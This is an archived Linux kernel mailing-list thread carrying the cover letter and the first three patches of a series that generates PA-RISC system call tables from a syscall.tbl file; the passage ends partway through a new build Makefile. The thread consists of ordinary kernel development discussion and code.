        Fri, 12 Oct 2018 13:16:17 -0400
Original-Received: from mail-pg1-f194.google.com ([209.85.215.194]:41975 "EHLO
        mail-pg1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727808AbeJLRQR (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 12 Oct 2018 13:16:17 -0400
Original-Received: by mail-pg1-f194.google.com with SMTP id 23-v6so5593855pgc.8
        for <linux-kernel@vger.kernel.org>; Fri, 12 Oct 2018 02:44:42 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id;
        bh=hO+T6MknqT/LahgUoawf8dcvMXowT/Io7/ToBlxAOls=;
        b=ig/BnqbC9pqFq9SBOB+nD+czhAsusHjqTZ6jBM9x72/+2ziVhqO+kD/wKCAdPgYPzZ
         tC52vMNDuDX2WpRhmL+7E8MzD6hzafN2pem9swstWvTIZeAPN9IDsoHVE5LG+Bcu4Yqu
         rUH7yyOY8gdIyIImqA23LT71TBfCirfRq8rzA=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=hO+T6MknqT/LahgUoawf8dcvMXowT/Io7/ToBlxAOls=;
        b=MfWarrZHACQu++aHQ5pBVyMxKt8XfnvQ61BV7i73Pnyqf245xY+zuTsBnsEBwj0Pyk
         4uddezc4O8BHNJnYY/f/hDaP0tdt7L09+iYoqN+mAV0zl4hWC4INi6smNa11n59IgnI1
         OPx49DGOLawHrX6siZ2G/pKpxYWbf/Uizpps2jgVopLK8nOZTFUeJzlTdUE/wFMHiP2y
         FyWxQyC5I6FrMj3yljus9rg9z+kYOBam/ODRRTOnxkh+1EAbrF8rppEiyUnT3LAifjyz
         G/OsRqoeqDo0VcIp1MBUYPE7CJmXf6gKb9pQ9msCxXy9Q9BFjFau6cfXcliqmYXeFZOw
         yw1Q==
X-Gm-Message-State: ABuFfoi9ODyJHmEJpoj/5wA+npCOuRnHUUyG5YtYIToBlP1a+zUw5KAx
        NBR4JZnRpWoBB2bvRXMSdGAVEQ==
X-Google-Smtp-Source: ACcGV60ggTcu7IBV/L0k0OijG3crQL24gKnCW/T/GLAV//Uo1lkjt786avvr381m/byZ09Wbhxl7DQ==
X-Received: by 2002:a62:507:: with SMTP id 7-v6mr5342224pff.80.1539337481575;
        Fri, 12 Oct 2018 02:44:41 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.domain.name ([106.51.108.175])
        by smtp.gmail.com with ESMTPSA id j19-v6sm1254191pfi.137.2018.10.12.02.44.33
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Fri, 12 Oct 2018 02:44:41 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2897397 gmane.linux.ports.parisc:29128 gmane.linux.kernel.year-2038:3504 gmane.linux.kernel.cross-arch:47714
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2897397>

The purpose of this patch series is, we can easily add/modify/delete
system call table support by changing entry in syscall.tbl file 
instead of manually changing many files. The other goal is to unify 
the system call table generation support implementation across all 
the architectures. 

The system call tables are in different format in all architecture. It
will be difficult to manually add, modify or delete the system calls
in the respective files manually. To make it easy by keeping a script 
and which'll generate uapi header file and syscall table file.

syscall.tbl contains the list of available system calls along with 
system call number and corresponding entry point. Add a new system 
call in this architecture will be possible by adding new entry in 
the syscall.tbl file.

Adding a new table entry consisting of:
        - System call number.
        - ABI.
        - System call name.
        - Entry point name.
        - Compat entry name, if required.

ARM, s390 and x86 architecuture does exist the similar support. I 
leverage their implementation to come up with a generic solution.

I have done the same support for work for alpha, microblaze, sparc,
m68k, mips, powerpc, sh, sparc, and xtensa. But I started sending 
the patch for one architecuture for review. Below mentioned git
repository contains more details.
Git repo:- https://github.com/frzkhn/system_call_table_generator/

Finally, this is the ground work for solving the Y2038 issue. We 
need to add two dozen of system calls to solve Y2038 issue. So this
patch series will help to add new system calls easily by adding new
entry in the syscall.tbl.

Firoz Khan (6):
  parisc: move __IGNORE* entries to non uapi header
  parisc: add __NR_Linux_syscalls along with __NR_syscalls
  parisc: add system call table generation support
  parisc: uapi header and system call table file generation
  parisc: wire up rseq system call
  parisc: syscalls: Ignore nfsservctl for other architectures

 arch/parisc/Makefile                      |   4 +
 arch/parisc/include/asm/Kbuild            |   3 +
 arch/parisc/include/asm/unistd.h          |   8 +
 arch/parisc/include/uapi/asm/Kbuild       |   2 +
 arch/parisc/include/uapi/asm/unistd.h     | 382 +------------------------
 arch/parisc/kernel/syscall.S              |  10 +-
 arch/parisc/kernel/syscall_table.S        | 459 ------------------------------
 arch/parisc/kernel/syscalls/Makefile      |  55 ++++
 arch/parisc/kernel/syscalls/syscall.tbl   | 371 ++++++++++++++++++++++++
 arch/parisc/kernel/syscalls/syscallhdr.sh |  35 +++
 arch/parisc/kernel/syscalls/syscalltbl.sh |  46 +++
 scripts/checksyscalls.sh                  |   1 +
 12 files changed, 540 insertions(+), 836 deletions(-)
 delete mode 100644 arch/parisc/kernel/syscall_table.S
 create mode 100644 arch/parisc/kernel/syscalls/Makefile
 create mode 100644 arch/parisc/kernel/syscalls/syscall.tbl
 create mode 100644 arch/parisc/kernel/syscalls/syscallhdr.sh
 create mode 100644 arch/parisc/kernel/syscalls/syscalltbl.sh

-- 
1.9.1



From - Thu Nov 08 21:42:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 1/6] parisc: move __IGNORE* entries to non uapi header
Date: Fri, 12 Oct 2018 15:13:57 +0530
Lines: 58
Approved: news@gmane.org
Message-ID: <1539337442-3676-2-git-send-email-firoz.khan@linaro.org>
References: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1539337364 14252 195.159.176.226 (12 Oct 2018 09:42:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 09:42:44 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 12 11:42:39 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gAtxu-0003aX-PB
	for glk-linux-kernel-4@m.gmane.org; Fri, 12 Oct 2018 11:42:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728359AbeJLRQW (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 12 Oct 2018 13:16:22 -0400
Original-Received: from mail-pf1-f194.google.com ([209.85.210.194]:41560 "EHLO
        mail-pf1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728262AbeJLRQW (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 12 Oct 2018 13:16:22 -0400
Original-Received: by mail-pf1-f194.google.com with SMTP id m77-v6so5919449pfi.8
        for <linux-kernel@vger.kernel.org>; Fri, 12 Oct 2018 02:44:47 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=eVc4Im/tlNb/+Q87+YSUnQ6E1heQGbWRIcznReQrtGM=;
        b=jsTij8O5YnLoI7FpArSnzHoCFW4SBVzcFrAUDNh+4a5gaAXcU0dcCiwyI5bK3KoFsx
         TkNxgTnvML3kJW6vW1xbn+c83oUtFkJmPRBqY6KD/m8McvoUfEqTYNbw6vp8XrcyRKOa
         OiYJYHE41od+I52BhbYfNfyZdE/x51bwV/XTM=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=eVc4Im/tlNb/+Q87+YSUnQ6E1heQGbWRIcznReQrtGM=;
        b=t/yPPmfBkzYAZIH9hBsiuGLxJGJfn4W+Dv8+qY7BeyTFi/tPo5Yp3kJeNbRdw4coyL
         Q0HmfJvHVgJL1plKVTSslrIgEtXx/Xa5/jPjaXNwB/ASiNlFR8m2alvVF6uAyPG0kGCN
         +MI1nWEd7yQrIfy5iG2tz5uxhws29aG+mnlbS29nHIWd02wnkLuNSIbTQ/cY5h/B700p
         1KHLtW09pjo+l11PC2WbIeIRt0Dn+MBW9ZAu1IClAZs3bd7nsWy8P1CuKvb+BOIKxxfh
         ko87dJ9Z+b5+xW8ROh8m1if+YarJe8ba+hCrxAxWdIeTAipPwdUbdXgY45edD/SRbLfQ
         Q9dg==
X-Gm-Message-State: ABuFfoio/tEU666Bm5LDcCFO6e1B10zW1xT5l7kK1kYuCY6OWkwcAcN/
        qCCWzdmKGdjRfGgVBfXNcFMFWg==
X-Google-Smtp-Source: ACcGV62B4T1FEIRQYXcHRLKWiV3hveh8vy3otpBaLtK0N+Q3TD1OuHV+d+aI/tDZmyazha6SQD4qmA==
X-Received: by 2002:a63:6883:: with SMTP id d125-v6mr4849471pgc.451.1539337487290;
        Fri, 12 Oct 2018 02:44:47 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.domain.name ([106.51.108.175])
        by smtp.gmail.com with ESMTPSA id j19-v6sm1254191pfi.137.2018.10.12.02.44.41
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Fri, 12 Oct 2018 02:44:46 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2897398 gmane.linux.ports.parisc:29129 gmane.linux.kernel.year-2038:3505 gmane.linux.kernel.cross-arch:47715
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2897398>

All the __IGNORE* entries are resides in the uapi header
file move to non uapi header asm/unistd.h. Basically it
is not used by any user space applications.

It is correct to keep __IGNORE* entry in non uapi header
asm/unistd.h while uapi/asm/unistd.h must hold information
only useful for user space applications.

One of the patch in this patch series will generate uapi
headers that should present in the uapi header file. And
some of the information which directly used by the user
space application also need to be present in uapi file.

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 arch/parisc/include/asm/unistd.h      | 6 ++++++
 arch/parisc/include/uapi/asm/unistd.h | 7 -------
 2 files changed, 6 insertions(+), 7 deletions(-)

diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/asm/unistd.h
index 3d507d0..93fd9f6 100644
--- a/arch/parisc/include/asm/unistd.h
+++ b/arch/parisc/include/asm/unistd.h
@@ -8,6 +8,12 @@
 
 #define SYS_ify(syscall_name)   __NR_##syscall_name
 
+#define __IGNORE_select                /* newselect */
+#define __IGNORE_fadvise64             /* fadvise64_64 */
+#define __IGNORE_pkey_mprotect
+#define __IGNORE_pkey_alloc
+#define __IGNORE_pkey_free
+
 #ifndef ASM_LINE_SEP
 # define ASM_LINE_SEP ;
 #endif
diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index dc77c5a..bb52e12 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -368,13 +368,6 @@
 
 #define __NR_Linux_syscalls	(__NR_io_pgetevents + 1)
 
-
-#define __IGNORE_select		/* newselect */
-#define __IGNORE_fadvise64	/* fadvise64_64 */
-#define __IGNORE_pkey_mprotect
-#define __IGNORE_pkey_alloc
-#define __IGNORE_pkey_free
-
 #define LINUX_GATEWAY_ADDR      0x100
 
 #endif /* _UAPI_ASM_PARISC_UNISTD_H_ */
-- 
1.9.1



From - Thu Nov 08 21:42:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 2/6] parisc: add __NR_Linux_syscalls along with __NR_syscalls
Date: Fri, 12 Oct 2018 15:13:58 +0530
Lines: 68
Approved: news@gmane.org
Message-ID: <1539337442-3676-3-git-send-email-firoz.khan@linaro.org>
References: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1539337370 14887 195.159.176.226 (12 Oct 2018 09:42:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 09:42:50 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 12 11:42:45 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gAty0-0003hP-BX
	for glk-linux-kernel-4@m.gmane.org; Fri, 12 Oct 2018 11:42:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728393AbeJLRQ2 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 12 Oct 2018 13:16:28 -0400
Original-Received: from mail-pl1-f195.google.com ([209.85.214.195]:42142 "EHLO
        mail-pl1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728360AbeJLRQ2 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 12 Oct 2018 13:16:28 -0400
Original-Received: by mail-pl1-f195.google.com with SMTP id c8-v6so5666836plo.9
        for <linux-kernel@vger.kernel.org>; Fri, 12 Oct 2018 02:44:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=FAowNU2Le7w5YJvjpIycOrYvvQJDBUjpEbsXPhhb+kM=;
        b=aq1ombfV4olvF+Cz+jnwTCKGT+GNGrX0CQ9i8YZUnBP2sJETHM4SQwG156Dq5UPk8V
         6szJ/410NKS5EHatc7cRE7rZdL6e4ipIWM5sw6LiU+0Tei/IZ8iZnlLHFpWkrzRAbMe2
         B8q8jnYjBgU2g2rrmX73XLYsOT3q3IGoH4mkc=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=FAowNU2Le7w5YJvjpIycOrYvvQJDBUjpEbsXPhhb+kM=;
        b=TY4QeMYjw9g8UwV3vo4fxRA5Aa8sqiO7dyfep67At8IxybByR9VX4yGaVQggZ4VEJv
         q2W+zJ8cs/p2oP0DlUwT0fyPyDblu8ZtKIsECZo2VQcc8P0JQ/sBGv1U+R8v00CTSup+
         Pdv2EP2X4DdxNkhlZ2jPICO5Vbl6MuOtRU/7rt3CeVhuhyC20/Zy8itmzVvrAaIwLbrb
         F2yt/HXO3IMuLIxUMFOw6gwv2zvm9GmM3p116C6zw7aSIMM7ccQ+y0cU+SdCOXVBJuSf
         6MzezkrBYGtmLY8u6OOigJG36hfjkXe7TomXRUXludG5tps7PdBMaKkQysvDCEifhci9
         IF6A==
X-Gm-Message-State: ABuFfojbrmA3sgG4vkwrrMyVemiIdHNAEiDZ+yxAithYBf/XAaYZuMle
        xXWA+TdHQ8bZ277g3KsrfK+FDA==
X-Google-Smtp-Source: ACcGV63wMY3NV4zBnbncFTZoEO3QG4sMGGiqXu25rya6JwgOv8wJoRxRIiPjgiybKERGZg8GeRKZTw==
X-Received: by 2002:a17:902:3fa5:: with SMTP id a34-v6mr5258818pld.244.1539337492885;
        Fri, 12 Oct 2018 02:44:52 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.domain.name ([106.51.108.175])
        by smtp.gmail.com with ESMTPSA id j19-v6sm1254191pfi.137.2018.10.12.02.44.47
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Fri, 12 Oct 2018 02:44:52 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2897399 gmane.linux.ports.parisc:29130 gmane.linux.kernel.year-2038:3506 gmane.linux.kernel.cross-arch:47716
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2897399>

__NR_Linux_syscalls macro holds the number of system call
exist in PARISC architecture. This macro is currently the
part of uapi/asm/unistd.h file. We have to change the value
of __NR_Linux_syscalls, if we add or delete a system call.

One of the patch in this patch series has a script which
will generate a uapi header based on syscall.tbl file. The
syscall.tbl file contains the number of system call inform-
ation. So we have two option to update __NR_Linux_syscalls
value.

1. Update __NR_Linux_syscalls in uapi/asm/unistd.h manually
   by counting the no.of system calls. No need to update
   __NR_Linux_syscalls until we either add a new system call
   or delete an existing system call.

2. We can keep this feature it above mentioned script, that
   will count the number of syscalls and keep it in a gener-
   ated file. In this case we don't need to explicitly update
   __NR_Linux_syscalls in asm/unistd.h file.

The 2nd option will be the recommended one. For that, I moved
the __NR_Linux_syscalls macro from uapi/asm/unistd.h to asm/
unistd.h. The macro __NR_syscalls also added for making the
name convention same across all architecture. While __NR_sys-
calls isn't strictly part of the uapi, having it as part of
the generated header to simplifies the implementation. We also
need to enclose this macro with #ifdef __KERNEL__ to avoid
side effects.

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 arch/parisc/include/asm/unistd.h      | 2 ++
 arch/parisc/include/uapi/asm/unistd.h | 4 +++-
 2 files changed, 5 insertions(+), 1 deletion(-)

diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/asm/unistd.h
index 93fd9f6..d30fdbcb 100644
--- a/arch/parisc/include/asm/unistd.h
+++ b/arch/parisc/include/asm/unistd.h
@@ -4,6 +4,8 @@
 
 #include <uapi/asm/unistd.h>
 
+#define __NR_Linux_syscalls     __NR_syscalls
+
 #ifndef __ASSEMBLY__
 
 #define SYS_ify(syscall_name)   __NR_##syscall_name
diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index bb52e12..f10d065 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -366,7 +366,9 @@
 #define __NR_statx		(__NR_Linux + 349)
 #define __NR_io_pgetevents	(__NR_Linux + 350)
 
-#define __NR_Linux_syscalls	(__NR_io_pgetevents + 1)
+#ifdef __KERNEL__
+#define __NR_syscalls           351
+#endif
 
 #define LINUX_GATEWAY_ADDR      0x100
 
-- 
1.9.1



From - Thu Nov 08 21:42:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 3/6] parisc: add system call table generation support
Date: Fri, 12 Oct 2018 15:13:59 +0530
Lines: 582
Approved: news@gmane.org
Message-ID: <1539337442-3676-4-git-send-email-firoz.khan@linaro.org>
References: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1539337380 15722 195.159.176.226 (12 Oct 2018 09:43:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 09:43:00 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 12 11:42:54 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gAty6-0003qS-80
	for glk-linux-kernel-4@m.gmane.org; Fri, 12 Oct 2018 11:42:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728411AbeJLRQe (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 12 Oct 2018 13:16:34 -0400
Original-Received: from mail-pf1-f196.google.com ([209.85.210.196]:35215 "EHLO
        mail-pf1-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728361AbeJLRQd (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 12 Oct 2018 13:16:33 -0400
Original-Received: by mail-pf1-f196.google.com with SMTP id l17-v6so5928442pff.2
        for <linux-kernel@vger.kernel.org>; Fri, 12 Oct 2018 02:44:58 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=Tumr61qnvm1/kRJFccbElRNoeEVY4QIy19MRkZIgBDw=;
        b=d90Cqh78Gkd8cSBjbAsp4jG3x9lGv8O7w2tPU6WhfRiVQXsr+1MPv2z3iYah881yw8
         9mI4N+aG+d9Acb8LBCYsLx4X+EYAcobAc8cujebyIceRfYVmJ84hgcI49s1AkPESp8qP
         CGjmvHpPqnsfvnL2WSf4M3EZ4NONY4XWnK1K8=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=Tumr61qnvm1/kRJFccbElRNoeEVY4QIy19MRkZIgBDw=;
        b=Hwhj9OZyuxuWIn30jHmrR/blzIXZmhL60b2FY13wmU/DoAy9ATLtLHA4HehaCVjITw
         HHypCoHfLodLLxUwAz7HS13tj/3bxfpHsbdfkF8hDLtDWJx1dg6Hcuin1i5yGLVk9mon
         NJ3O33lvyLaL4hLlKsR3B3CXTu3YDGax0Ka81NpbstYW8Xk8X5UBTF4/114dnRGrGHgk
         J7Q7bmEGy6kk9o2EeTV1rpIBQv4z4MTaQRqCdTX4RZ9iUQVB6FbETpxMZJ97uH3UfVm6
         ofOXzDJNzahU7Uo7AfZPnJAYLrSg8yVxLNV/AEX9c1vM1moILGvaWH+EfyS8bSK/RE3W
         zwfg==
X-Gm-Message-State: ABuFfohPRQ8tthavOzBp37qLoXEcRs8zpbkqmpnObrGwSsL0ZiNv4N5k
        tEQPgho8Le8RH8ge0Jth9zUigY2/f38=
X-Google-Smtp-Source: ACcGV60TnO1y0VWMoqtB4BTievVof1Aw2ag4BEfnRpVedPuckVidpUuoA2A3SCtiIu78RrG9PWMcpA==
X-Received: by 2002:a63:fb09:: with SMTP id o9-v6mr4841912pgh.333.1539337497809;
        Fri, 12 Oct 2018 02:44:57 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.domain.name ([106.51.108.175])
        by smtp.gmail.com with ESMTPSA id j19-v6sm1254191pfi.137.2018.10.12.02.44.53
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Fri, 12 Oct 2018 02:44:57 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2897400 gmane.linux.ports.parisc:29131 gmane.linux.kernel.year-2038:3507 gmane.linux.kernel.cross-arch:47717
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2897400>

The system call tables are in different format in all
architecture and it will be difficult to manually add or
modify the system calls in the respective files. To make
it easy by keeping a script and which'll generate the
header file and syscall table file so this change will
unify them across all architectures.

The system call table generation script is added in
syscalls directory which contain the script to generate
both uapi header file system call table generation file
and syscall.tbl file which'll be the input for the
scripts.

syscall.tbl contains the list of available system calls
along with system call number and corresponding entry point.
Add a new system call in this architecture will be possible
by adding new entry in the syscall.tbl file.

Adding a new table entry consisting of:
        - System call number.
        - ABI.
        - System call name.
        - Entry point name.
	- Compat entry name, if required.

syscallhdr.sh and syscalltbl.sh will generate uapi header-
unistd_32/64.h and syscall_table_32/64/c32.h files respect-
ively. File syscall_table_32/64/c32.h is included by sys-
call.S - the real system call table. Both .sh files will
parse the content syscall.tbl to generate the header and
table files.

ARM, s390 and x86 architecuture does have the similar support.
I leverage their implementation to come up with a generic
solution.

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 arch/parisc/kernel/syscalls/Makefile      |  55 +++++
 arch/parisc/kernel/syscalls/syscall.tbl   | 369 ++++++++++++++++++++++++++++++
 arch/parisc/kernel/syscalls/syscallhdr.sh |  35 +++
 arch/parisc/kernel/syscalls/syscalltbl.sh |  46 ++++
 4 files changed, 505 insertions(+)
 create mode 100644 arch/parisc/kernel/syscalls/Makefile
 create mode 100644 arch/parisc/kernel/syscalls/syscall.tbl
 create mode 100644 arch/parisc/kernel/syscalls/syscallhdr.sh
 create mode 100644 arch/parisc/kernel/syscalls/syscalltbl.sh

diff --git a/arch/parisc/kernel/syscalls/Makefile b/arch/parisc/kernel/syscalls/Makefile
new file mode 100644
index 0000000..a0af5a3
--- /dev/null
+++ b/arch/parisc/kernel/syscalls/Makefile
@@ -0,0 +1,55 @@
+# SPDX-License-Identifier: GPL-2.0
+kapi := arch/$(SRCARCH)/include/generated/asm
+uapi := arch/$(SRCARCH)/include/generated/uapi/asm
+
+_dummy := $(shell [ -d '$(uapi)' ] || mkdir -p '$(uapi)') \
+	  $(shell [ -d '$(kapi)' ] || mkdir -p '$(kapi)')
+
+syscall := $(srctree)/$(src)/syscall.tbl
+syshdr := $(srctree)/$(src)/syscallhdr.sh
+systbl := $(srctree)/$(src)/syscalltbl.sh
+
+quiet_cmd_syshdr = SYSHDR  $@
+      cmd_syshdr = $(CONFIG_SHELL) '$(syshdr)' '$<' '$@'  \
+		   '$(syshdr_abi_$(basetarget))'          \
+		   '$(syshdr_pfx_$(basetarget))'          \
+		   '$(syshdr_offset_$(basetarget))'
+
+quiet_cmd_systbl = SYSTBL  $@
+      cmd_systbl = $(CONFIG_SHELL) '$(systbl)' '$<' '$@'  \
+                   '$(systbl_abi_$(basetarget))'          \
+		   '$(systbl_offset_$(basetarget))'
+
+syshdr_abi_unistd_32 := common,32
+syshdr_offset_unistd_32 := __NR_Linux
+$(uapi)/unistd_32.h: $(syscall) $(syshdr)
+	$(call if_changed,syshdr)
+
+syshdr_abi_unistd_64 := common,64
+syshdr_offset_unistd_64 := __NR_Linux
+$(uapi)/unistd_64.h: $(syscall) $(syshdr)
+	$(call if_changed,syshdr)
+
+systbl_abi_syscall_table_32 := common,32
